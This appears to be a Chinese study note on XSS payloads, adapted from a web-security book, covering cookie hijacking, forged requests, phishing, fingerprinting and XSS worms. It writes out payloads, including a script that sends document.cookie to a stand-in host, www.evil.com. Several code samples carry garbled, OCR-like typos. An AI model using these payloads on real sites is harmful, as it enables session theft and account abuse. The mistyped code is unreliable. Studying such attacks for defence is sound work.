什么是 XSS payload

当发现网站存在XSS漏洞时,攻击者能够对该网站植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload。

XSS Payload实际上就是JavaScript脚本(还可以是 Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到

最常见的XSS payload——Cookie劫持

  1. 概念

    最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

    Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。

  2. 例子

    如下所示,攻击者可以先构造一个含恶意参数的url

    1
    http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>

    加载一个远程脚本,真正的XSS Payload写在远程脚本 evil.js 中。

    这样可以避免直接在URL的参数里写入大量的JavaScript代码。

    evil.js 中,可以通过如下代码窃取Cookie:

    1
    2
    3
    var img -document.createElement("img");
    img.src = "http://www.evil.com/log?" + escape (document.cookie);
    document.body.appendChild(img);

    当用户访问这个构造的url时执行脚本,这段代码在页面中插入了一张看不见的图片,同时把 docnment cookie对象作为参数发送到远程服务器。

    这样就实现了cookie 的劫持

在成功实现XSS攻击后,除了cookie劫持之外,攻击者还有很多更强大的 XSS payload来控制用户的浏览器

构造GET和POST请求

  1. 原理

    一个网站的应用,只需要接受HTTP协议中的GET 或 POST请求,即可完成所有操作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。

  2. 构造GET请求例子

    假设某博客网站存在XSS漏洞,我们如何通过XSS漏洞来删除掉博客上的某篇文章?

    假设正常删除该文章的链接是:

    1
    http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

    攻击者可以构造一段javascript代码(XSS Payload)如下,

    这段代码中,通过插入一个img标签来发起一个GET请求,从而对删除文章的链接发出了请求

    1
    2
    3
    var img = document.createElement("img");
    img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
    document.body.appendChild(img);

    后续,攻击者只需要通过XSS漏洞诱使用户执行这段XSS Payload,就会删除这篇文章

  3. 构造POST请求例子

    如果网站上只有一个表单,即仅接收POST请求,如何实施XSS攻击?

    可以通过两种方法实现攻击:

    • 1)构造一个form表单,自动提交这个表单

      • a. 一个个构造DOM节点

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        var f = document.createElement ("form");
        f.action = "";
        f.method = "post";
        document.body.appendChild(f);

        var i1 = document.createElement ("input");
        i1.name = "ck";
        i1.value = "JiUY";
        f.appendchi1d(i1);

        var i2 = document.createElement("input”);
        i2.name = " mb_text";
        i2.value = "testtesttest";
        f.appendchild(i2);

        f.submit();

        如果表单的参数很多的话,通过构造DOM 节点的方式,代码将会非常冗长。所以可以使用第二种方法,直接写HTML代码,这样会使得整个代码精简很多。

      • b. 直接构造HTML代码,如下所示:

        1
        2
        3
        4
        5
        6
        7
        var dd = doeument.createElement ("div");
        document.body.appendchild(dd);
        dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform"> +
        '<input type ="hidden" value = "JiUY" name="ck"/>' +
        '<input type="text" value="testtesttest" name = "mb_text”/>' +
        '</form>'
        document.getElementById("xssform").submit();
    • 2)通过 XMLHttpRequest 发送一个 POST 请求

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      var url = "http://www.douban.com";
      var postStr = "ck=JiUY &mb text-test1234";
      var ajax =nul1;
      if(window.XMLHttpReguest){
      ajax =new XMLRttpRequest();
      }
      else if (window.Activexobject){
      ajax = new ActiveXobjeet("Microsoft.XMLHTTP");
      }
      else{
      return;
      }

      ajax.open("POST", url, true);
      ajax.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
      ajax.send(postStr);

      ajax.onreadystatechange = function(){
      if (ajax.readystate- 4&& ajax.status == 200){
      alert("Done!");
      }
      }

XSS钓鱼

XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,当出现需要与用户进行交互的情况是,如:碰到验证码、修改密码时需要输入旧密码,XSS Payload就会失效。

但我们可以通过其他方法来进行攻击:

  • 验证码:XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施。攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
  • 修改密码:攻击者可以将XSS与”钓鱼”结合。如:利用 Javascript 在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

识别用户浏览器

在很多时候,攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。

如何通过JavaScript脚本识别浏览器版本呢?

  1. 通过XSS 读取浏览器的UserAgent对象

    1
    alert(navigator.userAgent);

    但是userAgent是可以伪造的,同时浏览器的一些拓展也可以屏蔽或自定义UA,这个信息不一定准确。

  2. 根据浏览器之间的差异识别

    根据每种浏览器独有的对象特征识别浏览器的大版本

识别用户安装的软件

知道用户使用的浏览器、操作系统后,可以通过各种方法识别用户安装了的软件

  1. 通过浏览器控件的classid检测相应软件

    可以通过判断软件对应控件的classid是否存在,来判断用户是否安装了该软件

    如下代码检测迅雷的控件 XunLeiBHO.ThunderIEHelper ,如果存在,用户大概率也安装了迅雷软件

    1
    2
    3
    4
    5
    try {
    var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
    } catch (e){
    //异常了,不存在该控件
    }

    通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本

  2. 通过第三方软件

    如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript

  3. 其他

    在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:

    1
    chrome://flashgot/skin/icon32.png

    扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。

CSS History Hack

通过CSS,来发现用户曾经访问过的网站

如果用户曾经访问过某个链接,那么这个链接的颜色会和未访问过的链接颜色不一致。

对应的POC代码见《白帽子讲web安全》P58

搜索引擎好像没有这个情况了,但是google scholar仍然存在,访问过的为紫色

image-20240229200958088

获取用户的真实IP地址

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

可以通过XSS Payload获取客户端的本地IP地址。

javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。

比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用J ava Applet 的接口获取客户端的本地IP地址。

1
2
3
4
5
6
7
8
9
10
AttackAPI.dom.getInternalIP=function(){
try {
var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));
sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));
return sock.getLocalAddress().getHostAddress();
} catch (e) {}

return '127.0.0.1';
};

还有两个通过API获取本地网络信息的API见《白帽子讲web安全》P61

XSS蠕虫

  1. 定义

    XSS蠕虫是指一种具有自我传播能力的XSS攻击,破坏力和影响力巨大。XSS蠕虫借助 Ajax技术实现对Web应用程序中存在的 XSS 漏洞进行自动化利用传播,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。

  2. 应用场景与条件

    一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSSWorm攻击。比如,发送站内信、用户留言等页面,都是xss worm的高发区。

    如果一个页面只能由用户个人查看,比如“用户个人资料设置”页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。

  3. 例子